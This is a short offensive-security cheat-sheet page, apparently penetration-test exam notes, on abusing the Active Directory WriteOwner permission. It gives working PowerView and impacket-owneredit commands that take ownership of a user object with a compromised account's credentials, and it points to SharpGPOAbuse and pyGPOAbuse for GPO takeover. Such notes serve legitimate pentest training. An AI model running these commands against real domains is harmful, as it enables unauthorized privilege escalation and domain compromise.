CAPEactive-directoryDACL

WriteOwner

Ownership give us the right to modify the object's permissions (DACL). Once we're owner, we can give ourselves FullControl, but we don’t automatically get it.

Over a User

This permission has the ability to modify the owner of the user, i.e, give the Owns permission, which can then being used to modify object security descriptors, regardless of permissions on the object's DACL.

Windows

# Create an object with the compromised account's credentials
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('marvel\x7331', $SecPassword)

# Set the ownership of the target object (PowerView)
Set-DomainObjectOwner -Credential $Cred -TargetIdentity "bob" -OwnerIdentity "x7331"

Linux

impacket-owneredit -action write -new-owner x7331 -target bob marvel.local/x7331:'Passw0rd123!'

Over a GPO

circle-info

The Policy needs to be updated after the modifications: gpupdate /force.

For subsequent exploitation steps check WriteDACL.

Windows

From Windows SharpGPOAbusearrow-up-right can be used to add a user into the Administrators group.

Linux

pyGPOAbusearrow-up-right abuses this right by creating an immediate scheduled task as SYSTEM.

Last updated